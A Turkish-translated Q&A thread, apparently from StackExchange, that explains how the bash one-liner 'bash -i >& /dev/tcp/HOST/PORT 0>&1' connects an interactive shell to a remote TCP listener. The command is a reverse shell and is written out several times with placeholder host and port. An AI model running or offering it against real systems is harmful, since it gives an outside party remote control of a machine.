Bash -i> & / dev / tcp / HOST / PORT 0> & 1 nedir?


15

denedim

bash -i >& /dev/tcp/HOST/PORT 0>&1

ancak güvenlik duvarlarının arkasında çalışmıyor gibi görünüyor. Bu kod aslında ne yapar, hangi portlar yönlendirilir ve güvenlik duvarlarının arkasında çalışabilir mi?

Yanıtlar:


17

Bu snippet bash -i, bash işlemi süresince oluşturulan belirtilen ana bilgisayardaki belirtilen bağlantı noktasına bir TCP bağlantısında yeni bir interaktif bash ( ) örneği çalıştırır . Standart çıkış ve standart hata bu bağlantı üzerinden gönderilir ( >& /dev/tcp/HOST/PORT) ve standart giriş bu bağlantı üzerinden okunur ( 0>&1- bu olmalı, 0<&1ancak 0>&1çalışır).

Devam eden bir bağlantı noktası yok. Açıkçası, bir tür TCP sunucusu bu HOST: PORT üzerindeki bağlantıları dinlemeli ve kabul etmeli ve güvenlik duvarı bağlantıya izin vermelidir.


'/ Dev / tcp / HOST / PORT' Hangi bağlantıdır? Ana bilgisayar nerede ve bağlantı noktası nerede tanımlanır?
Helos

2
@Helos Kelimenin tam anlamıyla gördün mü /dev/tcp/HOST/PORT? Bir ismi HOSTve bir rakamı değiştirdiğinizi varsaydım PORT. Aksi takdirde bash'tan bir hata mesajı alırsınız. Herhangi bir hata mesajından bahsetmediğiniz için, bir tane görmediğinizi varsayıyorum.
Gilles 'SO- kötü olmayı bırak'

1
@Gilles, 0<&1parçayı sindiremiyorum . Bunu 'bash stdout ( &1) al ve bash stdin ( 0)' e pipo olarak okudum , ki bu mantıklı. Bu bölümün nasıl çalıştığını açıklayabilir misiniz?
golem

5
@golem Bu bir yönlendirme. Hiçbir boru dahil değildir. 0<&1şu anda dosya tanımlayıcı 1'de açık olan her şeyi dosya tanımlayıcı 0'a bağlamak anlamına gelir. Önceki yönlendirme >& /dev/tcp/HOST/PORTfd 1'e (çıkış yeniden yönlendirme için varsayılan) bağlandığı için /dev/tcp/HOST/PORT, yani bir TCP soketi açıldığında, bu TCP bağlantısını dosya tanımlayıcı 0'a (örn. aynı soket artık fd 0'da da açıktır, bu, aynı sunucuya farklı bir soket açacak olan 0 </ dev / tcp / HOST / PORT'dan farklıdır).
Gilles 'SO- kötü olmayı bırak

Bağlanmak benim anlayışımın anahtar kelimesiydi; süreç borularını çağırmak gerçekten beni şaşırtan şeydi.
golem
Sitemizi kullandığınızda şunları okuyup anladığınızı kabul etmiş olursunuz: Çerez Politikası ve Gizlilik Politikası.
Licensed under cc by-sa 3.0 with attribution required.